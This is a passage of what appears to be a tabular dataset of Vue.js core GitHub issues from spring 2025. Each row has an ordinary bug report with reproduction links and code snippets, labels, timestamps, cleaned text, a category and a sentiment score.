https://play.vuejs.org/#eNp9UstOwzAQ/BXjSy9NcoBTiSoB6gEkoAKOvkTONk1xbMuPElTl31k7anAQcFvPzNqzOz7RG63zowe6oqXlptWOWHBer5kkpO20Mo48ft4prCRIR3ZGdWSRFwkW2hfXTJbFeAG24sFBp0XlIF5UJvIIIDQTjIiZ6nCq1xyEKAssJkkxabCcvZA6WhMS7CQCuqTOciV3bZMfrJI47im0McqxqRVgnrVrlbSMrkhkAlcJoT4eIuaMh+UZ53vg77/gB9sHjNGtAQvmCIxOnKtMA26kN69P0GM9kZ2qvUD1P+QLWCV88DjKbr2s0Xaii27vY2StbN7spncg7XmoYDQoh6hnFEML+/pr9G+7l/lV7GNywC3+yD18m3kOF1lGtqLisFeiBkPCfsevk2WoSFKhwxdErNBk

### Steps to reproduce

Visit the reproduction link, you will see this error:

```<tr> cannot be child of <template>, according to HTML specifications. This can cause hydration errors or potentially disrupt future functionality```

But as we know, `<template>` has no restrictions in the permitted content:

https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template#technical_summary

### What is expected?

The warning shouldn't exist.

### What is actually happening?

The warning exists

### Any additional comments?

It shouldn't be necessary to go into _why_ I am using this pattern, it's probably a distraction :)","scope: compiler,:hammer: p3-minor-bug",2025-05-12 19:16:27+00:00,2025-05-16 01:05:33+00:00,0,"scope: compiler,:hammer: p3-minor-bug",3.2424,incorrect warning cannot be child of according to html specifications vue version link to visit the you will see this error but as we know has no restrictions in the permitted content what is expected the warning shouldn t exist what is actually happening the warning exists any additional comments it shouldn t be necessary to go into why i am using this pattern it s probably a distraction,bug,-0.9366
vuejs/core,3057525311,BaseTransition Unmounting Optimization leads to animation disappear,"### Vue version

3.5.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqVV21T2zgQ/ivbdG4SOuQFaG+4HGQKbT/0rtMyB/ep9IOw5VjFtjySHMIx+e+3kiVbsh3aDi+2V6vdZ18kPXoaXZTlbFPR0XJ0pmheZkTRFcBtAXAWsw1EGZHy/HYU8UIRVlBxO7LDqJAerS6JpDeCFJIpxgv4t8h5VShWrOE9zfnZHFUa9a49wTPpmUONu0optPI2ylh0j1qKr9cZvU75A+rdmA94x/OSF7RQZ/Na/TkDVY3nIsvQgAUH+AWT63tWwkXBcqKBH/SMnc0Rrmd6IIYYI5wSQUkYRE/ljm8DDZ2545WXtUuakg3jYon5Og4VfWPEoZ0OVcNOUI3ZqXYOmylLcK6scxgqd+z3cVqlcnWTMgk0oznmfSwho2RDocEDDwxTekdBYlJLGgOKbObP5mXfaSe1tawDPExDZ0b4/ROlwoRJntGwUOnJ6l0thy+VKiul83/ia5SCrp6eIONrOfvOWTEZ394W4wPY7TAuHBtC0L5jTOGKQpGMBCuV+WbYx0LBEwiawA4SwXMY41Ice4Ntk+jlZHVm81Cs16+ZpP/o1kyMaUKqTFs38sgtGrl0IugaN9LdYf2UVFXl5KBV1hlUoNsIzjXiiRIVPQhHdZ7s6NdvzZh7zufwia+BFYqKiJaKCzfCEpiox5LyBDupiNHFi/NzGFcFRoFdHmPGGxzOFxdszQqS2Qpqy+dmCD9mCCTUd8JzmMxmMyLW8gDOV75VqKu8IVlFZ2Ul04nWslWH8YEXDgw4b802ajv32ry4Z1IVkVk37f7mpxqzj5IaCiJ+4X01Gi1Y1Pj67ceu2p0wdLXHUJC2ydjb15tWwoixMMOYE5LJBm0PlMDmEkU3YNt5DpT32abJE7YBdfyYh/l3NveWW7381GNWr8ZZs4c6HAkKpgnJWfa4hAvBSHYIElfIVFLBkj9rpZxspw8sVukSTheLctuIBTbEEhZAKsWtsCRxjBlbwrFTtAitd33+Oee1ATwq8BDKB2e4o8TNuOMipmIJR+UWsFAshpdxHFvX9eBUkJhVuORPG6ANpqM3HfDP+R44eRyMlLJ1qrS9Nhslr7eVJVYatz+2oR17fhgkul8LrGSMtjM8A+Hl6+O7P05PrC0rfEiZqq0M5bUX8OtmwBbraLH4rVHdTiX7z1iw01AUIrQ8IiwOLnoTqReoQ4IJhqPfWzT9oI6jE/pmsT8oV84C19aPYooqIfX8Ejcn3Ez7rWXOtP0JTk71T8fxz/RRC6HfRw0APBjDxOGycMXQAU9lSSKK6AWdPghShrPnr7xzCcx6lfBqbiJLSEynuPMgIoK72oaa7aAWG0pixc59SymWwNEpU49wjDwGOWsnZ55lfcb27CrubFo7Lia3z5h9ZXQ4UhLTn7D17LvkBZLqJ+MA+UdesoyKL6VGg6wXj+F600... [TRUNCATED]",,2025-05-12 16:33:43+00:00,2025-05-13 00:32:11+00:00,3,nan,0.3323,basetransition unmounting optimization leads to animation disappear vue version link to truncated,others,0.1779
vuejs/core,3055868326,MutationObserver.disconnect() in _setProp of core/packages/runtime-dom/src/apiCustomElement.ts may cause some confused problem,"### Vue version

3.5.13

### Link to minimal reproduction

https://calvin-ling.github.io/vue3-define-custom-comp-issue/issue.html

### Steps to reproduce

1.define 2 props in Vue component，such as ""label"" for string and ""complexProp"" for object.
2.import { defineCustomElement } from 'vue', and define custom Elements
3.in native js, setAttribute('label', 'a string value'), at the same time, update another props defined(complexProp)
4.setTimeout wait for the observer, look for the dom property ""label""
like:
```javascript
var comp = document.querySelector('my-custom-component');
const test = () => {
  // setAttribute('label'), at the same time, update another props defined
  comp.setAttribute('label', 'update by setAttribute');
  comp.complexProp = {
    content: 'update another props'
  };
  // the label update is not reflected in the component
  setTimeout(() => {
    console.log('setTimeout wait for the observer.');
    console.assert(comp.label === 'update by setAttribute');
  }, 0);
};
onload = () => {
  test();
};
```


### What is expected?

expect: the property ""label"" should be updated.

### What is actually happening?

actual: the ""label"" update is not reflected in the component.

### System Info

```shell

```

### Any additional comments?

may be it can use [`attributeChangedCallback`](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_custom_elements#responding_to_attribute_changes)","🔩 p2-edge-case,scope: custom elements",2025-05-12 07:04:23+00:00,2025-09-24 09:42:12+00:00,2,"🔩 p2-edge-case,scope: custom elements",135.1096,mutationobserver disconnect in setprop of core packages runtime dom src apicustomelement ts may cause some confused problem vue version link to define props in vue component such as label for string and complexprop for object import definecustomelement from vue and define custom elements in native js setattribute label a string value at the same time update another props defined complexprop settimeout wait for the observer look for the dom property label like what is expected expect the property label should be updated what is actually happening actual the label update is not reflected in the component system info any additional comments may be it can use,bug,-0.0258
vuejs/core,3054489084,Rendering a list of <Suspense>-wrapped components fails,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/dgrayvold/vue-list-rendering-issue

### Steps to reproduce

1. Install dependencies with `pnpm i`
2. Run the dev server
3. Navigate to the index page and click the `Scramble` button

### What is expected?

The list is rendered properly with the expected scrambled order rendered at the top of the page

### What is actually happening?

Rendering fails. The console shows the error `Uncaught (in promise) DOMException: Node.insertBefore: Child to insert before is not a child of this node`

### System Info

```shell

```

### Any additional comments?

Possibly a duplicate of #11617 as the workaround mentioned does make this work. Issue was originally discovered with https://github.com/nuxt/nuxt/issues/31568","scope: suspense,:hammer: p3-minor-bug",2025-05-10 19:44:31+00:00,2025-05-16 00:32:56+00:00,0,"scope: suspense,:hammer: p3-minor-bug",5.2003,rendering a list of wrapped components fails vue version link to install dependencies with run the dev server navigate to the index page and click the button what is expected the list is rendered properly with the expected scrambled order rendered at the top of the page what is actually happening rendering fails the console shows the error system info any additional comments possibly a duplicate of as the workaround mentioned does make this work issue was originally discovered with,bug,-0.7783
vuejs/core,3051431659,"How to perfectly expose the methods under ""expose"" in component secondary development","### Vue version

3.5.3

### Link to minimal reproduction

no

### Steps to reproduce

no

### What is expected?

Give me an example
For example, the method of exposing the ref component of the elementplus framework's el input component should be implemented using this principle for external exposure.

## code
const input= ref();
const expose = {};

onMounted(() => {
const entries = Object.entries(input.value);
for (const [method, fn] of entries) {
expose[method] = fn;
}
});

defineExpose(expose);

Is there a more perfect way?

### What is actually happening?

no

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-09 08:33:33+00:00,2025-05-09 08:42:39+00:00,0,nan,0.0063,how to perfectly expose the methods under expose in component secondary development vue version link to no no what is expected give me an example for example the method of exposing the ref component of the elementplus framework s el input component should be implemented using this principle for external exposure code const input ref const expose onmounted const entries object entries input value for const method fn of entries expose method fn defineexpose expose is there a more perfect way what is actually happening no system info any additional comments no response,help,-0.3197
vuejs/core,3050648566,Pure components cannot deduce component names from file names,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kE9rwzAMxb9K0LlkhO1UymAbPWyHbWw9+mIcNXXr2MaS20DJd6/t0D+H0pv0fk/iSUd4877eR4Q5LEgF7bki5OhfhV08TUIqU8PYeyMZU1dVraSN7KK0TdNk4w2EGTApZ9e6q7fkbFp8zCMClOu9Nhh+PGtnScC8KiQzaYw7fBWNQ8TZWVcbVLs7+paGrAn4DUgY9ijgwliGDnnCy/9vHFJ9gb1ro0nuB/APyZmYM06292jbFPvGV9J+9t4F1rZb0XJgtHQ+KgfNzrH4BaTvfjw4/Rr3uX4pc8KOMJ4AurGHDQ==

### Steps to reproduce

Check the compiled js content and find that there is no name

### What is expected?

Pure functions can also deduce component names

### What is actually happening?

no name

### System Info

```shell

```

### Any additional comments?

I checked the relevant source code，It is found that when the script tag is empty, execution cannot continue。

<img width=""588"" alt=""Image"" src=""https://github.com/user-attachments/assets/04b4a9f9-39be-4d34-8f0c-e6aa067606a0"" />",,2025-05-09 03:34:15+00:00,2025-05-09 08:45:15+00:00,2,nan,0.216,pure components cannot deduce component names from file names vue version v link to check the compiled js content and find that there is no name what is expected pure functions can also deduce component names what is actually happening no name system info any additional comments i checked the relevant source code it is found that when the script tag is empty execution cannot continue,others,-0.6369
vuejs/core,3049608612,Compatible with tsconfig `allowArbitraryExtensions` option,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/Teages/vue-allow-arbitrary-extensions

### Steps to reproduce

1. enable [allowArbitraryExtensions](https://www.typescriptlang.org/tsconfig/allowArbitraryExtensions.html) in `tsconfig.json`
2. create two files: `WithType.vue`, `WithType.d.vue.ts`, add a type export in `WithType.d.vue.ts`
3. try to import the type by `import type { X } from './WithType.vue'`

You can run `pnpm i & pnpm play` in the reproduction

### What is expected?

Vue should load the type from `WithType.d.vue.ts` as [allowArbitraryExtensions](https://www.typescriptlang.org/tsconfig/allowArbitraryExtensions.html) was enable and `.vue` file is not a known JavaScript or TypeScript file extension.

### What is actually happening?

Vue try to resolve the type from `WithType.vue` but not `WithType.d.vue.ts`, and finally it doesn't find the type and throw a error:

```
~/main.ts:80
      throw new Error(`[vue-sfc-transformer] ${msg}`);
            ^

Error: [vue-sfc-transformer] Unresolvable type reference or unsupported built-in utility type
    at Object.error (~/main.ts:80:13)
    at innerResolveTypeElements (~/node_modules/.pnpm/@vue+compiler-sfc@3.5.13/node_modules/@vue/compiler-sfc/dist/compiler-sfc.cjs.js:22104:20)
    at resolveTypeElements (~/node_modules/.pnpm/@vue+compiler-sfc@3.5.13/node_modules/@vue/compiler-sfc/dist/compiler-sfc.cjs.js:21995:20)
    at resolveRuntimePropsFromType (~/node_modules/.pnpm/@vue+compiler-sfc@3.5... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug",2025-05-08 17:06:47+00:00,2025-05-16 00:38:49+00:00,1,"scope: compiler,:hammer: p3-minor-bug",7.3139,compatible with tsconfig option vue version link to enable allowarbitraryextensions in create two files add a type export in try to import the type by you can run in the reproduction what is expected vue should load the type from as allowarbitraryextensions was enable and file is not a known javascript or typescript file extension what is actually happening vue try to resolve the type from but not and finally it doesn t find the type and throw a error main ts throw new error error vue sfc transformer unresolvable type reference or unsupported built in utility type at object error main ts at innerresolvetypeelements node modules pnpm vue compiler sfc node modules vue compiler sfc dist compiler sfc cjs js at resolvetypeelements node modules pnpm vue compiler sfc node modules vue compiler sfc dist compiler sfc cjs js at resolveruntimepropsfromtype node modules pnpm vue compiler sfc truncated,bug,-0.9598
vuejs/core,3049496057,Type-only defineProps and defineEmits cause a compiler-sfc error when using path aliases,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/XunJiJiang/Error-of-Type-only-define

### Steps to reproduce

Type-only `defineProps` and `defineEmits` cause a `compiler-sfc` error when using path aliases.


### What is expected?

Correct type resolution


### What is actually happening?

An \[@vue/compiler-sfc] error occurs when using path aliases from `vite.config` in `App.vue`, while relative or absolute paths are resolved correctly.

![Image](https://github.com/user-attachments/assets/fc61dcf2-f3cf-4659-adc2-ee9ef6a2daea)

### System Info

```shell
System:
    OS: macOS 15.4.1
    CPU: (14) arm64 Apple M4 Max
    Memory: 436.31 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.0 - ~/.nvm/versions/node/v22.13.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.13.0/bin/yarn
    npm: 11.0.0 - ~/.nvm/versions/node/v22.13.0/bin/npm
    pnpm: 10.6.3 - ~/.nvm/versions/node/v22.13.0/bin/pnpm
    bun: 1.2.2 - ~/.bun/bin/bun
  Browsers:
    Chrome: 136.0.7103.92
    Safari: 18.4
  npmPackages:
    vue: 3.5.13 => 3.5.13
```

### Any additional comments?

_No response_",,2025-05-08 16:16:02+00:00,2025-05-08 17:56:33+00:00,1,nan,0.0698,type only defineprops and defineemits cause a compiler sfc error when using path aliases vue version link to type only and cause a error when using path aliases what is expected correct type resolution what is actually happening an vue compiler sfc error occurs when using path aliases from in while relative or absolute paths are resolved correctly image system info any additional comments no response,bug,-0.8591
vuejs/core,3034929355,Can't bind a style object with a clip-path string inside,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1P4zAQ/SsjayVaKZum2uWSTSvtrpB2EV8CxAH5QHCGxODYlu2Uoir/nbFLCwfEbTzvzZv3xhv229p8NSArGddVwN6qOuCSa4CqkSsQqvZ+wZkwOtRSo+MMSh9eFFLzXuqGs2U1IyaNVLMP8/T0wkkbwGMYLHVkb40LsAFhejsEbGCEB2d6OKD9B3GClvgAtg4dLICz0yIrTor8MCvy+ck8K27m/4pbzn7tiHE9EXdyk8kUFkuYbKJ5oaS9IKES7qLehLNvm1iMnE3vuB6nU5KpZluLb3ZjKirzfVZIUh3KtgslHBarjoYA7mvx1Doz6Oa7MMq4Ehw2hIxJMamwjAVPOg+yzR+90XTepBUP2Vup0J3bICkFZ+V2S8RqpczzceoFN2C264sOxdMn/Ue/jj3OLhx6dCvkbI+F2rUYtvDR1Rmuqd6DvWkGRewvwEv0Rg3R45b2h+KS7Q+85PZ/+lSp22t/tA6o/S5UNBqZY+JzRn/894vo73Z/5D/THN2Tja/kEN8P

### Steps to reproduce

If you inspect the rendered element, you'll see it's got `clip-path: path(""M 0 0 L 0.5 0.1 L 1 0 V 1 H 0 Z"");` with all commas remove, which breaks the functionality.

### What is expected?

The clip path to be rendered as written in the code

### What is actually happening?

Path is stripped of all commas

### System Info

```shell
System:
    OS: Linux 5.14 AlmaLinux 9.5 (Teal Serval)
    CPU: (8) x64 Intel Core Processor
    Memory: 7.94 GB / 15.37 GB
    Container: Yes
    Shell: 5.1.8 - /bin/bash
  Binaries:
    Node: 22.15.0 - /opt/cpanel/ea-nodejs22/bin/node
    npm: 10.9.2 - /opt/cpanel/ea-nodejs22/bin/npm
    pnpm: 9.15.4 - /opt/cpanel/ea-nodejs22/bin/pnpm
```

### Any additional comments?

_No response_",,2025-05-01 23:58:25+00:00,2025-05-02 08:19:16+00:00,3,nan,0.3478,can t bind a style object with a clip path string inside vue version link to if you inspect the rendered element you ll see it s got with all commas remove which breaks the functionality what is expected the clip path to be rendered as written in the code what is actually happening path is stripped of all commas system info any additional comments no response,others,-0.296
vuejs/core,3034751903,"useTemplateRef() can not get the element, the value will be null","### Vue version

 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk2L2zAQ/SuDLkkgtQlpL4uz0JY9tNAPtktPgqIqY1tbeWT04QZC/ntHSp12lyU36c3ozXtvdBRvx7GaEoob0QTtzRghYEwjWEXdTooYpLiVZIbR+QhHcPTJJYq4X0MK+IDDaFXEe2zhBK13AyyYbCFJ0qVzuVzB7haOkgC0oxAhmmgRds8YlouCL1Zzo7NYWdctC1xNyiZcQV0DJWtzj2nhaa2MuP5WKwJyEZTWGALE3gSwhjC/PEk68fCmPgfBtvkS/wrkG0CzNxNoq0LgaHr07tVPRYS+ZJRHN/0GPLY5uDyY8e8Jt9Wbpu43Z4aaKfjU1BdiseaUWXNruuoxOOJVFCNSaDeMxqL/MkbDnqS4mS1Koax1vz8WLPqE6xnXPepfL+CP4ZAxKb56DOgn1napReU7jOfy3bfPeODzpTi4fcpOrhTvkfNOWeO57V2iPcv+r6+o/VA+kaHuIdwdIlKYTWWhZQGlXwr+Qu+vWP8nd1u9nhfHKf6Y0GdODpAjrzZbcfoD2BTz6Q==

### Steps to reproduce

```vue
<script setup lang=""ts"">
import { onMounted, useTemplateRef } from 'vue'

onMounted(() => {
  const title = useTemplateRef('title')
  console.log(title.value) // null
  if (title.value) {
    console.log(title.value) // can not access this line
  }
})
</script>

<template>
  <div>
    <h1 ref=""title"">Vue3.5</h1>
  </div>
</template>
```




### What is expected?

#

### What is actually happening?

#

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-01 21:29:24+00:00,2025-05-01 21:35:49+00:00,0,nan,0.0045,usetemplateref can not get the element the value will be null vue version link to what is expected what is actually happening system info any additional comments no response,others,0.0516
vuejs/core,3031367122,"WCAG issue, Vue strips value from img alt attribute when empty string","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1LAzEQ/SsxlyqU3YOeylZQKagHFRW8BMqynU3T5ovMbFso+9+dbGntQXrLzHt5H8lePsRYbDqQE1lhk0wkgUBdvFfeuBgSib1I0IpetCk4MWLqSHnlm+CRhEMtphm/Hj2DtUH8hGQXV6Mb5avyIMdCPBC4aGsCnoSojNMCUzNVckkUcVKWGFkvJMxRVliEpEvjag1YNkv2hXmbagfbkNY4bzu/KKLXSoraEosoWbJuVZ6ZyLEk5Iyt0cUKg+d6+2ytZBNcNBbSeyTDnkpOxIBkrOYK29dhR6mD8XHfLKFZ/7Nf4S7vlPxIgJA2oOQJozppoAM8+3qDHZ9PoAuLzjL7AvgJGGyXMx5oj9yaY5/xhrQvwycZr79xtiPweCyVg2ZmP/CV5Id9ulD9L+5tcTfcU76X/S+Z1bbH

### Steps to reproduce

Click Playground link then inspect the image, you will see it has an alt attribute stripped of its value instead of the value being """"


### What is expected?

`<img src=""https://sponsors.vuejs.org/images/chrome_frameworks_fund.png"" alt=""""/>`

### What is actually happening?

`<img src=""https://sponsors.vuejs.org/images/chrome_frameworks_fund.png"" alt/>`

### System Info

```shell

```

### Any additional comments?

i found this issue https://github.com/vuejs/core/issues/12140 that was closed with the comment 
_This is the default behavior of browsers. see [https://developer.mozilla.org/en-US/play?id=Qnh51plcAuBFYcqS%2Bp8XLWpzXe0jNVYjKNENRYh4fvKXzG8ntqciZzx3els%2BBM88bXU623yFtzN9Yg9R](https://developer.mozilla.org/en-US/play?id=Qnh51plcAuBFYcqS%2Bp8XLWpzXe0jNVYjKNENRYh4fvKXzG8ntqciZzx3els%2BBM88bXU623yFtzN9Yg9R)_

but that is simply not true. If you just open the inspector in chrome it looks like that, yes, but if you view the page source you see in thi... [TRUNCATED]",,2025-04-30 13:53:37+00:00,2025-05-03 00:38:49+00:00,6,nan,2.4481,wcag issue vue strips value from img alt attribute when empty string vue version link to click playground link then inspect the image you will see it has an alt attribute stripped of its value instead of the value being what is expected what is actually happening system info any additional comments i found this issue that was closed with the comment this is the default behavior of browsers see but that is simply not true if you just open the inspector in chrome it looks like that yes but if you view the page source you see in thi truncated,bug,0.7581
vuejs/core,3029031316,Generated `v-if` output is not compatible with coverage tooling,"### Vue version

3.5.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU9PwyAU/yqE82yz6Gl2JmqWqAc16pFL0762TAoEHl2Tpd/dB83qDss4EPj94/fCkT9amw0B+IYXvnLSIvOAwTJV6nYrOHrBH4SujPbIaK8lSqPZljWl8nAvdJHPNhLRBaG3qkSgG2NFt2bDjWwoZnGmNEbrBZQy7GCcqpM279bEFPlZAl/R8+RsZJvtvdHU8Ri1Ma63UoH7sDGTKm5YYiJXUu7hLWHoAqxOeNVB9XsB3/sxYoJ/OvDgBhB84bB0LeBM777fYaTzQvamDorUV8gv8EaFee4oewq6ptpnutT2tbfGodTtj9+NCNqfhopFo3JKesHpo56vjP5f9za7Sz6hJz79AZNSn8I=

### Steps to reproduce

Example with Vitest: https://stackblitz.com/~/edit/vue-coverage

Any Javascript testing tool with coverage tooling would do.

### What is expected?

<img src=""https://github.com/user-attachments/assets/feab6d3d-b7b3-4115-8066-f2b6fb2c12c2"" width=""600"" />

_Created this image by modifying Vue compilers output result's code and source maps_

- `<script>` should not be included in source maps, so that it would be excluded from coverage.
- Ideally `v-if` would not create a single `return` with ternary, so that proper line coverage could be achieved

### What is actually happening?

<img src=""https://github.com/user-attachments/assets/8e7fb0ff-943b-4672-a371-6bf9c2c4027e"" width=""500"" />

- `<script>` is marked as branch, as its pointing to generated ternary's `alternate` node
- Lines 7 is not present in line coverage, as transpiled output contained a single return statement

### System Info

```shell
https://stackblitz.com
```

### Any additional comments?


Coverage tools have hard time remapping Vue's generated code bac... [TRUNCATED]","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-04-29 17:18:32+00:00,2025-05-16 00:22:38+00:00,2,"scope: sfc,has workaround,:hammer: p3-minor-bug",16.2945,generated output is not compatible with coverage tooling vue version link to example with vitest any javascript testing tool with coverage tooling would do what is expected created this image by modifying vue compilers output result s code and source maps should not be included in source maps so that it would be excluded from coverage ideally would not create a single with ternary so that proper line coverage could be achieved what is actually happening is marked as branch as its pointing to generated ternary s node lines is not present in line coverage as transpiled output contained a single return statement system info any additional comments coverage tools have hard time remapping vue s generated code bac truncated,bug,-0.2297
vuejs/core,3028258512,Source maps off when `<script>` doesn't contain at least one line break,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/~/edit/vue-source-maps-off?file=index.mjs

### Steps to reproduce

```sh
pnpm install
node index.mjs
# Check links in ./links.md
```


### What is expected?

Source maps of all `fixtures/*.vue` files should contain correct mappings. Using the source map visualizer it is visible that files 1-4 contain incorrect mappings. 

### What is actually happening?

Source maps of `first.vue`, `second.vue`, `third.vue` and `fourth.vue` are broken. Only the `fifth.vue` has correct mappings.

- `first.vue`: [https://evanw.github.io/source-map-visualization#MTMyNABp](https://evanw.github.io/source-map-visualization#MTMyNABpbXBvcnQgeyBjcmVhdGVIb3RDb250ZXh0IGFzIF9fdml0ZV9fY3JlYXRlSG90Q29udGV4dCB9IGZyb20gIi9Adml0ZS9jbGllbnQiO2ltcG9ydC5tZXRhLmhvdCA9IF9fdml0ZV9fY3JlYXRlSG90Q29udGV4dCgiLi9maXh0dXJlcy9maXJzdC52dWUiKTtjb25zdCBfc2ZjX21haW4gPSB7ICB9CmltcG9ydCB7IG9wZW5CbG9jayBhcyBfb3BlbkJsb2NrLCBjcmVhdGVFbGVtZW50QmxvY2sgYXMgX2NyZWF0ZUVsZW1lbnRCbG9jaywgY3JlYXRlQ29tbWVudFZOb2RlIGFzIF9jcmVhdGVDb21tZW50Vk5vZGUgfSBmcm9tICIvbm9kZV9tb2R1bGVzLy52aXRlL2RlcHMvdnVlLmpzP3Y9ZWU3YzFiNDIiCgpjb25zdCBfaG9pc3RlZF8xID0geyBrZXk6IDAgfQoKZnVuY3Rpb24gX3NmY19yZW5kZXIoX2N0eCwgX2NhY2hlKSB7CiAgcmV0dXJuIChfb3BlbkJsb2NrKCksIF9jcmVhdGVFbGVtZW50QmxvY2soImRpdiIsIG51bGwsIFsKICAgICgxICsgMyA9PT0gMikKICAgICAgPyAoX29wZW5CbG9jaygpLCBfY3JlYXRlRWxlbWVudEJsb2NrKCJoMSIsIF9ob2lzdGVkXzEsICIgSGVsbG8gd29ybGQgIikpCiAgICAgIDogX2NyZWF0ZUNvbW1lbnRWTm9kZSgidi1pZiIsIHRydW... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-04-29 13:01:17+00:00,2025-05-09 13:53:38+00:00,1,"scope: sfc,:hammer: p3-minor-bug",10.0364,source maps off when doesn t contain at least one line break vue version link to what is expected source maps of all files should contain correct mappings using the source map visualizer it is visible that files contain incorrect mappings what is actually happening source maps of and are broken only the has correct mappings truncated,bug,-0.4767
vuejs/core,3027340178,runWithContext cannot self-boot,"### Vue version

3.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFuwjAM/ZUoF4qECtN2YhRpQxzYYZs2pF1yqYqBsNaJEochof77nDBGD4hDlPj5OX7PPsona/N9ADmWE185bUl4oGCnCnVjjSNxFBugWXAOkBboqcQKRCvWzjSix5U9hZVhXJTWiuIKOesr5D+XugETKMv6opiKo0IRK3I+M4MEB4rP3AX80rT9g7pkptfgKLvWQBRFEX/rP0ZmG692IO5Go1F8KpwMT97YFQcEja1LAo4mw04gB5I8e1nrTb7zBnkmqbOSlWms5u5vljR7VXJ81qRkWdfm5yVh5AIMzni1her7Cr7zh4gp+e7Ag9uDkv85Kh3bO6Xnn688gU6yMatQM/tG8gO8qUPUeKI9B1yx7A4vqV2kzWrcLP38QID+bCoKTRNMfCV5vbMb1i9y7/OHVMdzl+0v+wHHjA==

### Steps to reproduce

```js
const app = getCurrentInstance()
setTimeout(() => {
  app.appContext.app.runWithContext(() => {
    alert(getCurrentInstance() === app);
  });
}, 1000);
```
The above code always alerts false, ideally it should output true.

### What is expected?

```js
const app = getCurrentInstance()
setTimeout(() => {
  app.appContext.app.runWithContext(() => {
    alert(getCurrentInstance() === app);
  });
}, 1000);
```
The above code always alerts false, ideally it should output true.

### What is actually happening?

getCurrentInstance should be running in an app context, like inject

runWithContext provides context to the function，In my scene, I cannot automatically pass context

<img width=""535"" alt=""Image"" src=""https://github.com/user-attachments/assets/d0705448-0e00-4d25-aa6d-d413c827c9dd"" />

openDatasetSelect internally uses the render method to render the component into the body, and the component internally uses **getCurrentInstance**

### System In... [TRUNCATED]",need more info,2025-04-29 07:19:54+00:00,2025-04-30 11:18:52+00:00,2,need more info,1.1659,runwithcontext cannot self boot vue version link to the above code always alerts false ideally it should output true what is expected the above code always alerts false ideally it should output true what is actually happening getcurrentinstance should be running in an app context like inject runwithcontext provides context to the function in my scene i cannot automatically pass context opendatasetselect internally uses the render method to render the component into the body and the component internally uses getcurrentinstance system in truncated,others,0.9136
vuejs/core,3027289809,Update of component prop before hydration causes hydration to fail,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/github-enjfxm8b?file=src%2FApp.vue,src%2FFoo.vue

### Steps to reproduce

I recommend to open browser dev console to see the errors when the ""bug"" is reproduced. As soon as the hydration fails we get an error, following this we get an error each time we update a prop to the component that failed hydration.

1. Build stackblitz minimal reproduction
2. Resize stackblitz preview to be larger than 100px wide
2. Reload stackblitz preview (If it wasnt already 100px+ wide)
3. Press toggle button one or more times
4. Resize stackblitz preview width to be less than 100px to hydrate the Foo component
5. Now the Foo component no longer reacts to prop updates

### What is expected?

I would expect the component to hydrate successfully and function correctly even if its reactive props are updated before hydration, perhaps with a hydration warning. Alternatively, it would be reasonable if updating a prop before hydration could automatically trigger that component's hydration process without needing a custom hydration function.

### What is actually happening?

If a reactive prop is updated before the component consuming it has finished hydrating, the hydration process for that component fails. Consequently, the component becomes unresponsive to any further updates of that prop after the failed hydration attempt.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core... [TRUNCATED]",":hammer: p3-minor-bug,scope:hydration",2025-04-29 07:02:22+00:00,2025-05-16 00:22:02+00:00,0,":hammer: p3-minor-bug,scope:hydration",16.722,update of component prop before hydration causes hydration to fail vue version link to i recommend to open browser dev console to see the errors when the bug is reproduced as soon as the hydration fails we get an error following this we get an error each time we update a prop to the component that failed hydration build stackblitz resize stackblitz preview to be larger than px wide reload stackblitz preview if it wasnt already px wide press toggle button one or more times resize stackblitz preview width to be less than px to hydrate the foo component now the foo component no longer reacts to prop updates what is expected i would expect the component to hydrate successfully and function correctly even if its reactive props are updated before hydration perhaps with a hydration warning alternatively it would be reasonable if updating a prop before hydration could automatically trigger that component s hydration process without needing a custom hydration function what is actually happening if a reactive prop is updated before the component consuming it has finished hydrating the hydration process for that component fails consequently the component becomes unresponsive to any further updates of that prop after the failed hydration attempt system info shell system os linux undefined cpu x intel r core truncated,bug,-0.9735
vuejs/core,3022884434,"vue3.2.3x 版本 与 3.5.x版本,watch的监听发生变化","### Vue version

3.2.31

### Steps to reproduce

